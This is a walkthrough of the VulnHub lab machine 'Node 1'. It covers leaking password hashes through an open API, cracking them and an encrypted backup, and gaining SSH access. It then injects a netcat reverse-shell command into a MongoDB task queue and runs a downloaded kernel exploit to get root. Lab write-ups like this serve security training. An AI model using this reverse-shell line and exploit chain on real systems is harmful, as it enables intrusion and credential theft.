Node 1 – Writeup

Details

This machine is https://www.vulnhub.com/entry/node-1,252/

Recon Phase

Firstly I had to find the machine

root@kali:~# nmap -sn 192.168.56.0/24
Nmap scan report for 192.168.56.1
Host is up (0.0012s latency).
MAC Address: 0A:00:27:00:00:19 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00043s latency).
MAC Address: 08:00:27:CC:0F:B1 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
ost is up (0.0022s latency).
MAC Address: 08:00:27:A2:8A:95 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.102
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.86 seconds

From there I carried out a service discovery

root@kali:~# nmap -sV 192.168.56.101
Nmap scan report for 192.168.56.101
Host is up (0.0019s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
3000/tcp open  http    Node.js Express framework
MAC Address: 08:00:27:A2:8A:95 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.62 seconds

The Web App

I first went to the web app on http://192.168.56.101:3000

Screenshot 1

There was a login form

Screenshot 2

I then checked the source and found some interesting parts

Screenshot 3

I went through each of the files starting with http://192.168.56.101:3000/assets/js/app/app.js

var controllers = angular.module('controllers', []);
var app = angular.module('myplace', [ 'ngRoute', 'controllers' ]);
app.config(function ($routeProvider, $locationProvider) {
  $routeProvider.
    when('/', {
      templateUrl: '/partials/home.html',
      controller: 'HomeCtrl'
    }).
    when('/profiles/:username', {
      templateUrl: '/partials/profile.html',
      controller: 'ProfileCtrl'
    }).
    when('/login', {
      templateUrl: '/partials/login.html',
      controller: 'LoginCtrl'
    }).
    when('/admin', {
      templateUrl: '/partials/admin.html',
      controller: 'AdminCtrl'
    }).
    otherwise({
      redirectTo: '/'
    });
    $locationProvider.html5Mode(true);
});

From this I had some endpoints, so I went to look at the admin one located at http://192.168.56.101:3000/partials/admin.html

Screenshot 4

The button was linked to a function called “backup()” which wasn’t defined in this context, so was of no use to me yet, so back to the source code at http://192.168.56.101:3000/assets/js/app/controllers/home.js

var controllers = angular.module('controllers');
controllers.controller('HomeCtrl', function ($scope, $http) {
  $http.get('/api/users/latest').then(function (res) {
    $scope.users = res.data;
  });
});

This revealed the api, but I still wanted to inspect more source, next up was http://192.168.56.101:3000/assets/js/app/controllers/login.js

var controllers = angular.module(‘controllers’);

controllers.controller('LoginCtrl', function ($scope, $http, $location) {
  $scope.authenticate = function () {
    $scope.hasError = false;
   $http.post('/api/session/authenticate', {
      username: $scope.username,
      password: $scope.password
    }).then(function (res) {
      if (res.data.success) {
        $location.path('/admin');
      }
      else {
        $scope.hasError = true;
        $scope.alertMessage = 'Incorrect credentials were specified';
      }
    }, function (resp) {
      $scope.hasError = true;
      $scope.alertMessage = 'An unexpected error occurred';
    });
  };
});

From this I could tell scope could contain some useful information, so I went to http://192.168.56.101:3000/api/users/ to see what it did

Screenshot 5

There were some creds, but none were admins, so I tried http://192.168.56.101:3000/api/users

Screenshot 6

This time I was in luck

[{"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true},{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]

I put these into a file called hash.txt to crack

myP14ceAdm1nAcc0uNT:dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
tom:f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240
mark:de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73
rastating:5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0

And set john on them

root@kali:~# john hash.txt --format=Raw-SHA256
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-SHA256 [SHA256 128/128 AVX 4x])
Press 'q' or Ctrl-C to abort, almost any other key for status
snowflake        (mark)
spongebob        (tom)
manchester       (myP14ceAdm1nAcc0uNT)

I aborted it there as I got the admin accounts creds

Using the creds of myP14ceAdm1nAcc0uNT:manchester to login

Screenshot 7

This time clicking backup offered me to download a file

Screenshot 8

Looking at it, it was a load of base64, so I decoded it

root@kali:~# cat myplace.backup | base64 -d > backupdecoded

And inspected the result

root@kali:~# file backupdecoded
backupdecoded: Zip archive data, at least v1.0 to extract

It is a zip folder, so I tried to unzip it

root@kali:~# unzip backupdecoded
Archive:  backupdecoded
   creating: var/www/myplace/
[backupdecoded] var/www/myplace/package-lock.json password:

It is passworded so I used frackzip on it

root@kali:~# fcrackzip backupdecoded -D -p /usr/share/wordlists/rockyou.txt
possible pw found: magicword ()

With a possible password found I tried it again

root@kali:~# unzip backupdecoded
Archive:  backupdecoded
[backupdecoded] var/www/myplace/package-lock.json password:

Using “magicword”

  inflating: var/www/myplace/package-lock.json
   creating: var/www/myplace/node_modules/
   creating: var/www/myplace/node_modules/serve-static/
  inflating: var/www/myplace/node_modules/serve-static/README.md
  inflating: var/www/myplace/node_modules/serve-static/index.js
  inflating: var/www/myplace/node_modules/serve-static/LICENSE
  inflating: var/www/myplace/node_modules/serve-static/HISTORY.md
  inflating: var/www/myplace/node_modules/serve-static/package.json
[SNIP]

I could now look at the files

root@kali:~# cd var/www/myplace/
root@kali:~# ls -la
drwxr-xr-x  4 root root  4096 Oct  7 22:10 .
drwxr-xr-x  3 root root  4096 Oct  6 01:33 ..
-rw-rw-r--  1 root root  3861 Sep  2  2017 app.html
-rw-rw-r--  1 root root  8058 Sep  3  2017 app.js
drwxr-xr-x 69 root root  4096 Sep  2  2017 node_modules
-rw-rw-r--  1 root root   283 Sep  2  2017 package.json
-rw-r--r--  1 root root 21264 Sep  2  2017 package-lock.json
drwxrwxr-x  6 root root  4096 Sep  2  2017 static

I inspected the app looking for config files

root@kali:~/var/www/myplace# cat app.js
[SNIP]
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
[SNIP]

This gave me a mongo db login for mark of

mark:5AYRft73VtFpc84k

So I tried it on ssh

root@kali:~# ssh [email protected]
mark@node:~$

Flag Hunt

First I wanted to find the user flag

mark@node:~$ ls -la
drwxr-xr-x 3 root root 4096 Sep  3  2017 .
drwxr-xr-x 5 root root 4096 Aug 31  2017 ..
-rw-r--r-- 1 root root  220 Aug 31  2017 .bash_logout
-rw-r--r-- 1 root root 3771 Aug 31  2017 .bashrc
drwx------ 2 root root 4096 Aug 31  2017 .cache
-rw-r----- 1 root root    0 Sep  3  2017 .dbshell
-rwxr-xr-x 1 root root    0 Sep  3  2017 .mongorc.js
-rw-r--r-- 1 root root  655 Aug 31  2017 .profile

It wasn’t in mark’s home so it was time to look around. I started by checking the kernel

mark@node:~$ uname -a
Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

This version seemed vulnerable to CVE-2017-16995, but I still needed the user flag first (It would have felt wrong to use root to get the user one!) So in my hunt for the flag I checked out the user list

mark@node:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
tom:x:1000:1000:tom,,,:/home/tom:/bin/bash
mongodb:x:111:65534::/home/mongodb:/bin/false
mark:x:1001:1001:Mark,,,:/home/mark:/bin/bash

There was another user called tom, so I checked there

mark@node:~$ cd /home/tom
mark@node:/home/tom$ ls -la
drwxr-xr-x 6 root root 4096 Sep  3  2017 .
drwxr-xr-x 5 root root 4096 Aug 31  2017 ..
-rw-r--r-- 1 root root  220 Aug 29  2017 .bash_logout
-rw-r--r-- 1 root root 3771 Aug 29  2017 .bashrc
drwx------ 2 root root 4096 Aug 29  2017 .cache
drwxr-xr-x 3 root root 4096 Aug 30  2017 .config
-rw-r----- 1 root root    0 Sep  3  2017 .dbshell
-rwxr-xr-x 1 root root    0 Aug 30  2017 .mongorc.js
drwxrwxr-x 2 root root 4096 Aug 29  2017 .nano
drwxr-xr-x 5 root root 4096 Aug 31  2017 .npm
-rw-r--r-- 1 root root  655 Aug 29  2017 .profile
-rw-r----- 1 root tom    33 Sep  3  2017 user.txt

I found the flag, but I couldn’t read it yet. I needed to become tom, so I began to look for ways to do it, eventually coming onto

mark@node:/home/tom$ ps -aux | grep tom
tom       1170  0.0  6.2 1021676 47636 ?       Ssl  21:52   0:02 /usr/bin/node /var/www/myplace/app.js
tom       1176  0.0  5.5 1008560 42208 ?       Ssl  21:52   0:02 /usr/bin/node /var/scheduler/app.js
mark      1611  0.0  0.1  14228   892 pts/0    S+   23:46   0:00 grep --color=auto tom

There was a second node app in /var/scheduler/, so I went to take a look

mark@node:/home/tom$ cd /var/scheduler/
mark@node:/var/scheduler$ ls -la
drwxr-xr-x  3 root root 4096 Sep  3  2017 .
drwxr-xr-x 15 root root 4096 Sep  3  2017 ..
-rw-rw-r--  1 root root  910 Sep  3  2017 app.js
drwxr-xr-x 19 root root 4096 Sep  3  2017 node_modules
-rw-rw-r--  1 root root  176 Sep  3  2017 package.json
-rw-r--r--  1 root root 4709 Sep  3  2017 package-lock.json

Then at the code

mark@node:/var/scheduler$ cat app.js
const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';
MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');
    return;
  }
  setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            exec(doc.cmd);
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
          }
        });
      }
      else if (error) {
        console.log('Something went wrong: ' + error);
      }
    });
  }, 30000);
});

So it connects to the mongo db and pulls commands from the collection called “tasks” which it then runs, I had creds for mongo, so I could add my own commands into the collection. So I opened a listener to receive a shell

root@kali:~# nc -nlvp 4444

Then connected to mongo

mark@node:~$ mongo -u mark -p 5AYRft73VtFpc84k scheduler
MongoDB shell version: 3.2.16
connecting to: scheduler
>

And inserted my reverse shell command

> db.tasks.insert({"cmd":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.3 4444 >/tmp/f"})
WriteResult({ "nInserted" : 1 })

I then waited for a minute or so

connect to [192.168.56.3] from (UNKNOWN) [192.168.56.4] 58260
/bin/sh: 0: can't access tty; job control turned off
$

A new shell connected back, which should hopefully be running as tom

$ id
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1002(admin)

With confirmation I was tom, I used the python trick

$ python -c "import pty;pty.spawn('/bin/bash')"
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
tom@node:/$

And then grabbed the flag

tom@node:/$ cd /home/tom
tom@node:~$ cat user.txt
e1156acc3574e04b06908ecf76be91b1

Root Time

Now all I needed to do was escalate to root, having identified a priv esc route earlier this wasn’t very difficult. First on my local machine I downloaded the exploit code

root@kali:~# wget https://www.exploit-db.com/download/44298.c
--2018-10-08 20:47:49--  https://www.exploit-db.com/download/44298.c
Resolving www.exploit-db.com (www.exploit-db.com)... 62.252.172.241
Connecting to www.exploit-db.com (www.exploit-db.com)|62.252.172.241|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6021 (5.9K) [application/txt]
Saving to: ‘44298.c’
44298.c                                   100%[=====================================================================================>]   5.88K  --.-KB/s    in 0s
2018-10-08 20:47:50 (85.4 MB/s) - ‘44298.c’ saved [6021/6021]

Then transferred it to the target, on the target I used the mark account as it had a full shell

root@kali:~# nc -nvlp 2222 < 44298.c
mark@node:~$ cd /tmp
mark@node:/tmp$ nc 192.168.56.3 2222 > exploit.c
connect to [192.168.56.3] from (UNKNOWN) [192.168.56.4] 59946

I checked the code made it accross, then compiled it

mark@node:/tmp$ ls -la
drwxrwxrwt  8 root    root    4096 Oct  8 20:49 .
drwxr-xr-x 25 root    root    4096 Sep  2  2017 ..
-rw-rw-r--  1 mark    mark    6021 Oct  8 20:49 exploit.c
[SNIP]
mark@node:/tmp$ gcc exploit.c -o exploit

Finally I ran it

mark@node:/tmp$ ./exploit
task_struct = ffff880025001980
uidptr = ffff88002529c544
spawning root shell
root@node:/tmp#

With a root shell popped I only needed the flag to be done

root@node:/tmp# cd /root
root@node:/root# ls -la
drwx------  4 root root 4096 Sep  3  2017 .
drwxr-xr-x 25 root root 4096 Sep  2  2017 ..
-rw-------  1 root root    1 Aug  6 23:03 .bash_history
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
drwx------  2 root root 4096 Sep  3  2017 .cache
drwxr-xr-x  2 root root 4096 Sep  3  2017 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r-----  1 root root   33 Sep  3  2017 root.txt
root@node:/root# cat root.txt
1722e99ca5f353b362556a62bd5e6be0

And with that the machine was done, now i think there is another way to get root on this one, so at somepoint I’ll come back and hunt it down!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.